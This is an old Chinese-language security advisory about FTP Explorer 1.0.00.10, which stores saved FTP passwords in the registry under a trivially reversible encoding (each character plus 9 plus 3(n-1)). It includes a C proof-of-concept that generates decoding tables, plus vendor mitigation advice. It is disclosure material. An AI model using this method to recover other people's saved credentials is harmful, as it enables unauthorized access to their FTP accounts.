发布日期：2000-02-26
更新日期：2000-02-26

受影响系统：

FTPx FTP Explorer 1.0.00.10

描述：

---

FTP exploer有个选项可以储存已访问过的站点的配置文件。用户名和口令也可以被保存。
这些数据都被保存在注册表的HKCU\Software\FTP Explorer\Profiles\ProfileName\键下。
你会看到每个站点都有两个键名，例如：Login = nelson ，Type = 4A4E52
Type所对应的键值就是加密后的口令。
但尽管口令被加密了，但是采用的加密机制很弱，因此很容易被破解。

口令中每个字符被加上9，然后再加上(3(n-1)),这里的"n"表示该字符在口令中的位置。
比如，如果口令是"AAA"('A'=0x41),那么加密后的口令就是:
['A'+9+3(1-1)] ['A'+9+3(2-1)] ['A'+9+3(3-1)], 或者 0x4A4D50.



<* 来源: Nelson Brito(nelson@sekure.org),Hever (Hever@vitech.net). *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

unreal:~/temp$ ./ftpe-crypt -t 3 -i 9 -r 3 -o teste
Criptografia do FTP Explorer v0.6b - por Nelson Brito
unreal:~/temp$ more teste
[...]
A = 4A = 4D = 50
    `-> correct
B = 4B = 4E = 51
         `-> correct
C = 4C = 4F = 52
              `-> correct
[...]



-------begin
/*
** Este codigo demostra como funciona a "criptografia" do software FTP
** Explorer, levando-se em consideracao as informacoes passadas para a
** BOS-Br por Hever<Hever@vitech.net>.
**
** author: Nelson Brito
** e-mails: nelson@sekure.org & nelson@secunet.com.br
** program: ftpe-crypt.c
**
** ChangeLog:
** v 0.6b - arquivo de destino incluido(output file)
** - apartir desta versao sera' necessario a utilizacao de todos os
** argumentos na linha de comando
** v 0.5b - incluido opcoes longas na linha de comando
** - problemas da opcao '-h' corrigidos gracas a fpm :*( ) )
** v 0.4 - opcoes de linha de comando acrescentadas, permitindo que o
** usuario "set" suas preferencias [a.k.a. getopt(3)]
** v 0.3 - adicionado argumentos passados para a funcao r2()
** - contador a ser usado em r2() como argumento
** v 0.2 - desenvolvimento das funcao r2() e inclusao de u_abort()) e
** logo()
** - o length do password foi aumentado
** v 0.1 - desenvolvimento inicial do esqueleto do programa, incluindo:
** > retirada dos caracteres especiais, ie, so' [a-z][A-Z][0-9]
** > uma simples PA, sem utilizacao de formula ou funcao
**
** Agradecimentos a drk, Morauder e fpm pela forca com o getopt(3). =)
**
** Como compilar(How to compile):
** lameness:~# gcc -Wall -O3 -g ftpe-crypt.c -o ftpe-crypt
*/


#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>
#define VERSION "0.6b"


int r2(int n, int p, int i, int b, FILE *fp){
      n=((n+b)+(i*p));
      fprintf(fp, "= %X ", n);
      return(n);
}


char usage(char *p){
      fprintf(stderr, "use: %s -l <length> -i <increment> -r <ratio> -o <output-file>\n", p);
      fprintf(stderr, "example: %s -l 15 -i 9 -r 3 -o outlist\n", p);
      fprintf(stderr, "options:\n\t -l, --length password's length\n");
      fprintf(stderr, "\t -i, --increment ASCII Table's increment\n");
      fprintf(stderr, "\t -r, --ratio PA's ratio\n");
      fprintf(stderr, "\t -o, --output output file\n");
      fprintf(stderr, "\nfor ftpe's criptography use r=3, i=9\n");
      exit(0);
}


int main(int ac, char **av){
   FILE *outlist = NULL;


   register int a = 48;
   int r = 0, inc = 0, ct = 0, op;


   printf("FTP Explorer's Criptography v%s - by Nelson Brito\n", VERSION);


   if(ac != 9) usage(av[0]);


   while(1){
        static struct option long_options[] = {
           {"length", 1, 0, 'l'},
           {"ratio", 1, 0, 'r'},
           {"increment", 1, 0, 'i'},
           {"output", 1, 0, 'o'},
           {0, 0, 0, 0}
        };


        int option_index = 0;
        op = getopt_long(ac, av, "l:r:i:o:", long_options, &option_index);


        if (op == -1) break;


        switch(op){
              case 'l':
                    ct = atoi(optarg);
                    break;
              case 'r':
                    r = atoi(optarg);
                    break;
              case 'i':
                    inc = atoi(optarg);
                    break;
             case 'o':
                    if(!(outlist=fopen(optarg, "w"))){
                       printf("unable to open %s\n", optarg);
                       exit(0);
                    }
                    break;
              default:
                    usage(av[0]);
                    break;
        }
   }


   while(a < 123){


        if((a >= 58) && (a <= 64)){
             printf("%c", (char)0);
             a++;
        }


        else if((a >= 91) && (a <= 96)){
             printf("%c", (char)0);
             a++;
        }


        else{
              register int c;


              fprintf(outlist, "%c ", (char)a);
              for(c = 0 ; c < ct ; c++) r2(a, c, r, inc, outlist);
              fprintf(outlist, "\n");
              a++;
        }


   }


   fclose(outlist);


   return(1);
}

建议：

---

1: 在创建配置文件的时候不要输入用户名和口令。这样每次连接这个站点时，会提示你输入
   用户名和口令。
2: 为了完全禁止口令保存，FTPx发布了一个新的动态连接库替换掉旧的文件，你可以在下列
   地址下载:

         http://www.ftpx.com/securityres.html

浏览次数：7128
严重程度：0（网友投票）